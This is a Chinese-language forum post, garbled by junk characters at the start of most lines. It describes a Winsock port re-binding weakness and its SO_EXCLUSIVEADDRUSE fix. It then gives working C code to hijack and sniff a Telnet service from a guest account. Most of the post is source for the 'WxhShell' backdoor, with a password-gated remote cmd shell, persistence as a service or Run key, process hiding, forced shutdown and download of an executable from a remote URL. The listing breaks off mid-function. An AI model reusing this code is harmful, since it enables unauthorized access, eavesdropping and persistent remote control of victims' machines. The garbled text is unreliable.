在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
]zUvs6ksLG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
G~FAChI8![ }MCJ$=5 saddr.sin_family = AF_INET;
Lju)q6 x17K8De saddr.sin_addr.s_addr = htonl(INADDR_ANY);
P8\bi"iiN @/ G$
C9< bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)4CF*>*6V 5rPK7Jh`B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
s!eB8lkcT 9%6W_0> 这意味着什么?意味着可以进行如下的攻击:
%5rC`9^ c@<vFoq 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
_X"G( rFl6xM;F 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
n[tES6u H;k-@J 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,I^:xw_ #a|.cm>6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
uX8yS|= * ]s<}'& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
na-mh
E,H #24eogo~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
9f7T.}HM \$[;
d:9j 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]aqg{XdGt = k7}[!T #include
GAY
f.L" #include
de$0D fK #include
,d~6LXr<fM #include
\
N;% DWORD WINAPI ClientThread(LPVOID lpParam);
rQM$lJ[x int main()
#!RO,{FT {
N}5'Hk4+ WORD wVersionRequested;
._A@,]LS} DWORD ret;
^Z`?mNq9 WSADATA wsaData;
lVR
a{._m BOOL val;
[)L) R` SOCKADDR_IN saddr;
l.@&B@5F SOCKADDR_IN scaddr;
D5gDVulsh
int err;
w</qUOx SOCKET s;
,p7W4;?4 SOCKET sc;
N&K`bmtD int caddsize;
w$%1j+%& HANDLE mt;
Ks_B%d DWORD tid;
Y}UVC|Ef wVersionRequested = MAKEWORD( 2, 2 );
M,(UCyT err = WSAStartup( wVersionRequested, &wsaData );
#V#sg}IhM? if ( err != 0 ) {
_DAj$$ Ru4 printf("error!WSAStartup failed!\n");
ccm(r~lhJ return -1;
s?pd&_kOv3 }
Vb$4'K' saddr.sin_family = AF_INET;
A[6D40o R!2oj_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
=&YhA}l\O ]UFbG40Zo saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
WO<a^g
{ saddr.sin_port = htons(23);
+%: /!T@@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6-!U\R2Z> {
Z(0sMOaX printf("error!socket failed!\n");
Pt^SlX^MM return -1;
zEN3Nn.8 }
y)]L>o~ val = TRUE;
7v{s?h->$ //SO_REUSEADDR选项就是可以实现端口重绑定的
JK_(!
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
uE%$<o*# {
@kmOz( printf("error!setsockopt failed!\n");
KCc7u8
return -1;
0kOl,%Ey }
=>en<#[\: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
N,F$^ q6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
d@aPhzLu //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.|Y&,?k|Y @?E|]H!S] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
lS!uL9t. {
T**v!Ls ret=GetLastError();
4Ow0g-{ printf("error!bind failed!\n");
K|^'`FpPO return -1;
/@qnEP% }
6Qh@lro;y listen(s,2);
U,e'vS{ while(1)
N:nhS3N<L {
$7
FT0?kG caddsize = sizeof(scaddr);
LzE$z, //接受连接请求
fq,LXQ#G sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
rwh,RI)
)g if(sc!=INVALID_SOCKET)
5i|DJ6 {
G ,fh/E+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ZA {T0: if(mt==NULL)
h =E)5&Z {
LUN"p#1 printf("Thread Creat Failed!\n");
-Mx\W|YK break;
wu53e= / }
U\~9YX8 }
4_&+]S CloseHandle(mt);
S%{^@L+V }
|ryV7VJ8 closesocket(s);
<A+n[h WSACleanup();
c4i%9E+Af return 0;
s.qo/o\b }
W _JGJV.^f DWORD WINAPI ClientThread(LPVOID lpParam)
.`@)c/<0 {
yuA+YZ SOCKET ss = (SOCKET)lpParam;
m?)REE SOCKET sc;
x_VD9 unsigned char buf[4096];
6G0Y,B7& SOCKADDR_IN saddr;
{$H-7-O$ long num;
Ww)p&don DWORD val;
yDe6f(D DWORD ret;
pB0p?D)n //如果是隐藏端口应用的话,可以在此处加一些判断
O~~WP*N //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
kACgP!~/1 saddr.sin_family = AF_INET;
sjIUW$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.,+TpPkc saddr.sin_port = htons(23);
&'KJh+jJ
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4M,Q{G|e {
(u:^4,Z printf("error!socket failed!\n");
'ugc=-0pd return -1;
6)j4- }
{@YY8SKb9 val = 100;
'h.:-1# L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m(DJ6CSa {
;%W]b ret = GetLastError();
YkuFt>U9, return -1;
7G]v(ay }
m]Gxep0% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
rU!QXg]uD {
4#"_E:;PQ ret = GetLastError();
|x#w8=VP- return -1;
]/ffA|"U` }
%pG^8Q()
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
cM 5V%w {
OAw- -rl printf("error!socket connect failed!\n");
b<bj5m4fz> closesocket(sc);
[Rxbb+,U closesocket(ss);
p'f8?jt return -1;
DElrY)3O. }
Q/zlU@ while(1)
cN3!wE {
CyXFuk!R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5x? YFq6k //如果是嗅探内容的话,可以再此处进行内容分析和记录
/?*GJN#
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
w_ONy9 num = recv(ss,buf,4096,0);
bo|3sN+D if(num>0)
w]O[{3" send(sc,buf,num,0);
s{9G// else if(num==0)
CR8szMa break;
>h3m/aeNC num = recv(sc,buf,4096,0);
B9(@. if(num>0)
ic;M=dsh: send(ss,buf,num,0);
OC=g 1 else if(num==0)
OUFx M break;
+S6(Fvp }
;lP/hG;` closesocket(ss);
bGtS! 'I closesocket(sc);
X 7R&>Pf return 0 ;
*YO^+]nmY }
sD ,=_q@ gzd<D}2F~ Kg6[ ==========================================================
e%_J
O7 f1w_Cl 下边附上一个代码,,WXhSHELL
f>hA+ PK).)5sW ==========================================================
d+o.J",E C2} f' #include "stdafx.h"
/N9ct4 {^ W\Df:P {< #include <stdio.h>
!*e1F9k #include <string.h>
c4V%>A #include <windows.h>
Lvd es.0| #include <winsock2.h>
cNl NJ #include <winsvc.h>
cw3j&k #include <urlmon.h>
W7#dc89} Lm3~< vP1e #pragma comment (lib, "Ws2_32.lib")
4&kC8
[ r #pragma comment (lib, "urlmon.lib")
Bw/8-:eb :Xi&H.k)p #define MAX_USER 100 // 最大客户端连接数
8AQ__&nT #define BUF_SOCK 200 // sock buffer
A9_}RJ9 #define KEY_BUFF 255 // 输入 buffer
%WF]mF T_ G
_-JR #define REBOOT 0 // 重启
Z^!%
b #define SHUTDOWN 1 // 关机
[9^lAhX +3F%soum95 #define DEF_PORT 5000 // 监听端口
'\M]$`Et R8-=N+hX #define REG_LEN 16 // 注册表键长度
{n\Ai3F- #define SVC_LEN 80 // NT服务名长度
]?%S0DO* bRD-[) // 从dll定义API
;-AC}jG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Nsn~mY% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tj4/x7! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0[]) wl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
&u2H^ j xn=#4:f // wxhshell配置信息
T5Iz{Ha struct WSCFG {
p1UYkmx[ int ws_port; // 监听端口
B~B, L*kC2 char ws_passstr[REG_LEN]; // 口令
0bG#'.- int ws_autoins; // 安装标记, 1=yes 0=no
8b!xMFF" char ws_regname[REG_LEN]; // 注册表键名
}jg1..)"< char ws_svcname[REG_LEN]; // 服务名
N*+ L'bO char ws_svcdisp[SVC_LEN]; // 服务显示名
[vqf hpz char ws_svcdesc[SVC_LEN]; // 服务描述信息
;ObrBN,Fu char ws_passmsg[SVC_LEN]; // 密码输入提示信息
F0kdwN4; int ws_downexe; // 下载执行标记, 1=yes 0=no
Z4oD6k5oc char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+rJDDIb char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:s*t\09V7 E#R1 };
o3$dl`' [}HS[($ // default Wxhshell configuration
ik#ti=. struct WSCFG wscfg={DEF_PORT,
ot0g@q[3 "xuhuanlingzhe",
5PsjGvm.% 1,
n^|SN9_r "Wxhshell",
l
>~Rzw "Wxhshell",
=o4gW`\z "WxhShell Service",
SQ&}18Z~ "Wrsky Windows CmdShell Service",
iURSYR "Please Input Your Password: ",
mUy>w 1,
d uP0US "
http://www.wrsky.com/wxhshell.exe",
NvC @ "Wxhshell.exe"
(8baa.ge };
EU7nS3K)O~ tOX-vQ // 消息定义模块
,xg-H6Xfa{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
T|,/C|L char *msg_ws_prompt="\n\r? for help\n\r#>";
.W\JvPTC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$*`E;}S0 char *msg_ws_ext="\n\rExit.";
&NOCRabc char *msg_ws_end="\n\rQuit.";
@?>5~ char *msg_ws_boot="\n\rReboot...";
eA*We char *msg_ws_poff="\n\rShutdown...";
fA"c9(>m%] char *msg_ws_down="\n\rSave to ";
Q zg?#|
//0Y#" char *msg_ws_err="\n\rErr!";
n-g#nEc: char *msg_ws_ok="\n\rOK!";
g/(BV7V *eGG6$I char ExeFile[MAX_PATH];
-<L5; int nUser = 0;
wrc1N?[bn HANDLE handles[MAX_USER];
8"TlWHF` int OsIsNt;
jn`5{ ]D W[sQ_Z1C SERVICE_STATUS serviceStatus;
z%BX^b$Hj SERVICE_STATUS_HANDLE hServiceStatusHandle;
E@EP9X
> -24ccN; // 函数声明
M3Qi]jO98 int Install(void);
Cn0s?3Fm int Uninstall(void);
HQ wrb HS int DownloadFile(char *sURL, SOCKET wsh);
`n@;%*6/ int Boot(int flag);
hXvC>ie(i void HideProc(void);
qHgzgS7a int GetOsVer(void);
m#ig.z|A int Wxhshell(SOCKET wsl);
`6RccEm void TalkWithClient(void *cs);
\r9E6LLX' int CmdShell(SOCKET sock);
X#Ob^E%J int StartFromService(void);
Qsw.429t int StartWxhshell(LPSTR lpCmdLine);
[kTckZv nch#DE82 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
f:t j
VOID WINAPI NTServiceHandler( DWORD fdwControl );
/E3~z0 'y5H%I! // 数据结构和表定义
-?l`LbD SERVICE_TABLE_ENTRY DispatchTable[] =
@-Y,9mM {
M2;6Cz>,P {wscfg.ws_svcname, NTServiceMain},
]"^p}: {NULL, NULL}
5(G Vwv };
:;c`qO4 gW^4@q // 自我安装
p"7[heExw int Install(void)
Al]*iw{ {
O \gVB!x char svExeFile[MAX_PATH];
jcjl q-x HKEY key;
~1aM5Ba{ strcpy(svExeFile,ExeFile);
8)2M%R\THn F@HJ3O9 // 如果是win9x系统,修改注册表设为自启动
A2p% Y}, if(!OsIsNt) {
C9_[ke[1D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
f3imkZ( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6oFA=CjU{ RegCloseKey(key);
oIQ$98 M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R<vbhB/lU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
GHo
mk##0E RegCloseKey(key);
3bJ|L3G return 0;
I-=Ieq"R9 }
*yY\d.6( }
GZHJ4|DK }
u%6b|M@P else {
aK]AhOG sl"H!cwF // 如果是NT以上系统,安装为系统服务
$e{[fmx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7G7"Zule*j if (schSCManager!=0)
8F'm#0 {
s}yN_D+V SC_HANDLE schService = CreateService
TA8 (
Bj"fUI!dK schSCManager,
m.\JO wscfg.ws_svcname,
&;`E3$> wscfg.ws_svcdisp,
u.*}'C>^^v SERVICE_ALL_ACCESS,
4)>S3Yr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
KV-h~C SERVICE_AUTO_START,
OT$++cj^ SERVICE_ERROR_NORMAL,
JStEOQF4 svExeFile,
^. NULL,
$pt~?ZZ3- NULL,
mB6%. " NULL,
Gd'_X D NULL,
ic4hO>p& NULL
4@Z!?QzW );
V6h8+|hK if (schService!=0)
ks
%arm& {
:t;i2Ck CloseServiceHandle(schService);
-3y CloseServiceHandle(schSCManager);
Oqt{ uTI~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
d(@ ov^e- strcat(svExeFile,wscfg.ws_svcname);
+JM@ kdE5b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
f*IvaY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
_ysakn RegCloseKey(key);
Crl:v8 return 0;
`Q/\w1-Q }
aR'~=t&;z1 }
ori[[~OyB CloseServiceHandle(schSCManager);
i2;,\FI@t% }
Vg :''!4t2 }
P}>>$$b\Yi VR%*8= return 1;
F- M)6&T }
'H4?V 9qB4\ONXZ // 自我卸载
1C]BaPbL int Uninstall(void)
p:eaZ {
#/8
Nav HKEY key;
`B:hXeI 1_]%, if(!OsIsNt) {
TJ>1?W\Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
baL<|&
c RegDeleteValue(key,wscfg.ws_regname);
=P_*.SgR RegCloseKey(key);
Sfp-ns32%A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
om=kA"&&Q
RegDeleteValue(key,wscfg.ws_regname);
_^ic@h3'X~ RegCloseKey(key);
rYg%B6Fp return 0;
}n#$p{e$i }
=Zsxl]h
}
l<<9H-O }
/[ft{:#&t else {
z]LVq k hN\sC9a1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
dTlEEgR if (schSCManager!=0)
DRTT3;,N {
TZ3gJ6 Cb SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{*r!oD!' if (schService!=0)
GU 9p'E {
q_L. Sy|) if(DeleteService(schService)!=0) {
SQ]M"&\{y CloseServiceHandle(schService);
tA'5ufj*: CloseServiceHandle(schSCManager);
.I $+
E return 0;
Q`4Ia<5B }
}W[=O:p CloseServiceHandle(schService);
h|ib*%P_ }
l<ZHS'-;8 CloseServiceHandle(schSCManager);
2R^Eea }
2+pXtP@O }
Fpwhyls rY1jC\ return 1;
@xso{$ z?j }
eb6y-TwY ^gNbcWc7CU // 从指定url下载文件
~?)y'? int DownloadFile(char *sURL, SOCKET wsh)
AMO{ee7Po {
L|1~'Fz#w HRESULT hr;
g:U
-kK!i char seps[]= "/";
yS[HYq char *token;
IjXxH]2 char *file;
,_D@ggL- char myURL[MAX_PATH];
)7Qp9Fxo char myFILE[MAX_PATH];
/11CC \ &%k_BdlkQ strcpy(myURL,sURL);
St>
E\tXp token=strtok(myURL,seps);
Goy[P2m while(token!=NULL)
+^J;ic {
V`YmGo file=token;
#J8(*!I token=strtok(NULL,seps);
N=~DSsw }
P3Ah1X7W"C e 0Z2B2 GetCurrentDirectory(MAX_PATH,myFILE);
D~`RLPMk strcat(myFILE, "\\");
D$rn?@&g strcat(myFILE, file);
/^I!)|At send(wsh,myFILE,strlen(myFILE),0);
%|f@WxNrU send(wsh,"...",3,0);
~x@V"rxGw hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
F[F
NtZ if(hr==S_OK)
0;*[}M]Z return 0;
/q7$"wP else
PlgpH'z4$ return 1;
f8UO`*O lL5* l,)To }
h uR ^l N+H[Y4c?F& // 系统电源模块
*A")A.R int Boot(int flag)
w vI
v+Q9 {
ed3wj3@ HANDLE hToken;
%\)AT" TOKEN_PRIVILEGES tkp;
}g|9P SbJ /+. m.TF if(OsIsNt) {
0 N0< 4b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
O#>,vf$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:!fY;c? tkp.PrivilegeCount = 1;
}*aj& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
G
Uh<AG*+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
V%C'@m(/SZ if(flag==REBOOT) {
>fkV65w{* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%zDi|WZ return 0;
6@FxPi9|# }
s&wm^R else {
hAP2DeT$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
6{g&9~V return 0;
M9(lxu y1 }
iU=:YPE+. }
u09D`QPP] else {
!ZCxi
if(flag==REBOOT) {
bX5/xf$q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/len8FRf return 0;
beV+3HqB8 }
DiZv sc else {
*TCV}=V G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<KStlfX return 0;
d`j<Bbf- }
r?pFc3~N }
Z-" NLwt[ iuM ,aF return 1;
f3h]t0M }
2n#H%&^?a }/IP\1bG // win9x进程隐藏模块
oJ#;X R void HideProc(void)
y`/:E<fVk {
:x^e T e"p){)*$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ec*Ni|`Z' if ( hKernel != NULL )
t~qAA\p}o {
IEI&PRD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1,we:rwX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
cA|
n*A-j< FreeLibrary(hKernel);
W&3,XFnI_ }
`>lY$EBG@[ ofgNL .u return;
Y
7?q` }
o0dD ;rnhv:Iw // 获取操作系统版本
YhN:t? int GetOsVer(void)
a'*~E?b {
`dl^)4J OSVERSIONINFO winfo;
qK%#$JgqA winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
X2P8Zq=%a GetVersionEx(&winfo);
ldRq:M5z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/L2.7`5 return 1;
&k`lbkq else
EYn9ln_]u return 0;
)<e,- XujY }
ws
U @hqS nS Vr,wU // 客户端句柄模块
J$`5KbT3 int Wxhshell(SOCKET wsl)
F&lSRL+v {
5F]2.<i SOCKET wsh;
u_o]\D~ struct sockaddr_in client;
tCu.Fc@ DWORD myID;
Ty3.u9c4 1.Neg| while(nUser<MAX_USER)
<^ratz!- {
7$*x&We int nSize=sizeof(client);
rf!i?vAe wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
wX
<ov0?[ if(wsh==INVALID_SOCKET) return 1;
X8~?uroq 3 [O+wVv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f/m0,EERk if(handles[nUser]==0)
uw@-.N^ closesocket(wsh);
r*FAUb`bG else
\(zUI nUser++;
^^YP kh6sS }
Q Vl"l'e8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
_! ?a9 iWkC:fQz return 0;
(SA^>r }
],'"iVh dMI G2log // 关闭 socket
~Ds3-#mMy void CloseIt(SOCKET wsh)
%P C[-(Q
{
3aJYl3:0B closesocket(wsh);
}5Km \OI nUser--;
@jZ1WHS_a ExitThread(0);
fOP3`G^\ }
\GK]6VW ZJ/K MW // 客户端请求句柄
Nkn2\w void TalkWithClient(void *cs)
{CX06BP {
e=_Ng
j) pTH5-l_f] SOCKET wsh=(SOCKET)cs;
jFI`CA6P char pwd[SVC_LEN];
s;[WN. char cmd[KEY_BUFF];
L9!\\U char chr[1];
DIkf#} int i,j;
?0:=+%. L3s"L.G while (nUser < MAX_USER) {
d9 l2mJzW bu=RU if(wscfg.ws_passstr) {
D&DbxTi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m.lzkS]P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"}S6a?]V //ZeroMemory(pwd,KEY_BUFF);
!';;q i=0;
( yB]$ while(i<SVC_LEN) {
,Z8)DC= \]3[Xw-$ // 设置超时
LYyud fd_set FdRead;
&fE2zTz struct timeval TimeOut;
%kP=VUXj FD_ZERO(&FdRead);
F><ficT FD_SET(wsh,&FdRead);
CbOCL~ " TimeOut.tv_sec=8;
xX.{(er TimeOut.tv_usec=0;
s'BlFB n int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
,hp8b$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
K.b:ae^k j?\z5i""f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
hzA+, pwd
=chr[0]; vb9C
if(chr[0]==0xd || chr[0]==0xa) { k=O
pwd=0; 7}pg7EF3z
break; FJn.V1
} nW
oh(a
i++; O0eM*~zI
} }:!X@C~
drbim8!q~
// 如果是非法用户,关闭 socket !&5*H06
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |3`8$-
} T`GiM%R;g
3`Xzp
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *n6L3"cO
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !1Ht{cA0
wEQZ9?\
while(1) { HumL(S'm
7"OJ,Mx%
ZeroMemory(cmd,KEY_BUFF); xl@~K^c]
bL5u;iy)
// 自动支持客户端 telnet标准 ?.Ip(g
j=0; {vQ:4O!:
while(j<KEY_BUFF) { BKYyc6iE
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fm!\**Q1
cmd[j]=chr[0]; |OuIQhoE
if(chr[0]==0xa || chr[0]==0xd) { ZX'3qW^D
cmd[j]=0; `^|l+TJG
break; JoD@e[(
} e`Co ='
j++; Of}C.N8
} RrdLh z2N
7R5+Q\W
// 下载文件 1\g r
;b
if(strstr(cmd,"http://")) { `O`MW} c
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )jh~jU? c@
if(DownloadFile(cmd,wsh)) e\!Aoky
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8isQL
else bCiyz+VyJn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *;U<b
} 4[)tO-v:Y
else { 69`*u<{PC
)"7z'ar
switch(cmd[0]) { d\25
#7KR`H
// 帮助 tYhcoV
case '?': { D
,[yx='
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /QQjb4S}
break; RiFUa
$
} bD-OEB
// 安装 B>@l(e)b
case 'i': { k$>5v +r0
if(Install()) qd<I;*WV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Jh<8~1
else _(I)C`8m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L~RFI&b
break; Eu%E2A|`I
} (6b0rqPF
// 卸载 /U`p|M;
case 'r': { }daU/
if(Uninstall()) fB]NEx|o~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^]Z@H/]H
else KLG29G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YOUB%N9+
break; |*Oi:)qt
} p7HLSB2Rp
// 显示 wxhshell 所在路径 U+C^"[B
case 'p': { DO( 3hIj
char svExeFile[MAX_PATH];
:6/$/`I0W
strcpy(svExeFile,"\n\r"); ^;tB,7:*V
strcat(svExeFile,ExeFile); lS#^v#uS
send(wsh,svExeFile,strlen(svExeFile),0); -!K&\hEjj
break; =^ \?{oV
} %jHe_8=o
// 重启 1U?5/Ja
case 'b': { H!>>|6OPF
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #Tt*NU
if(Boot(REBOOT)) uBxoMxWm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \
FJ ae
else { &gUa^5'#
closesocket(wsh); 6Nt/>[
ExitThread(0); *||Q_tlz
} TKgN31 `
break; 4YR{
*
} Uv652DC
// 关机 IW-|"5?9'
case 'd': { 96P&+
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2+Oz$9`.
if(Boot(SHUTDOWN)) 9hh~u
-8L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n{&;@mgI
else { tU *`X(;
closesocket(wsh); b=U3&CV9
ExitThread(0); p#_5w
} *2rc Y
break; tGzp=PyA
} ayQeT
// 获取shell drk BW}_
case 's': { CGkx_E]
CmdShell(wsh); B^/k`h6J
closesocket(wsh); o\; hF3
ExitThread(0); U<E]c 4*
break; uPjp5;V
} `uZMln @
// 退出 f1;@a>X
case 'x': { X8-x$07)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uw!d;YQm
CloseIt(wsh); mx
UyD[|
break; '@Yp@
_
} L#J2J$=
// 离开 gNc;P[
case 'q': { y7%SHYC p[
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z0<s
-eN:
closesocket(wsh); L]u^$=rI
WSACleanup(); )Y9\>Xj7
exit(1); ;(A-
break; +l.LwA
} cc:$$_'L
} <(B|g&A
} #Sx
^!0z+M:>^
// 提示信息 wG9aX*(n
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9qgs*]J
} `@v;QLD"d<
} 4>a(!ht
"tK|/R+
return; xSNGf@1b
} c!'\k,ma<9
&I(\:|`o
// shell模块句柄 >tx[UF@P@
int CmdShell(SOCKET sock) SM2N3"\
{ r4DHALu#)
STARTUPINFO si; qvK/}
ZeroMemory(&si,sizeof(si)); !n P4S)A
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q\T?t
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8 H3u"
PROCESS_INFORMATION ProcessInfo; kFC*,
char cmdline[]="cmd"; VX>j2Z'
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5Pxx)F9]
return 0; .Eb]}8/}E
} ~PpDrJ; Va
4*Gv0#dga
// 自身启动模式 41s\^'^&
int StartFromService(void) v Y0ESc{
{ T93st<F=R
typedef struct &[_@f#
{ V*5v
JF0j
DWORD ExitStatus; !c1M{klP
DWORD PebBaseAddress; ".waCt6
DWORD AffinityMask; ?6{g7S%
DWORD BasePriority; kS=nH9
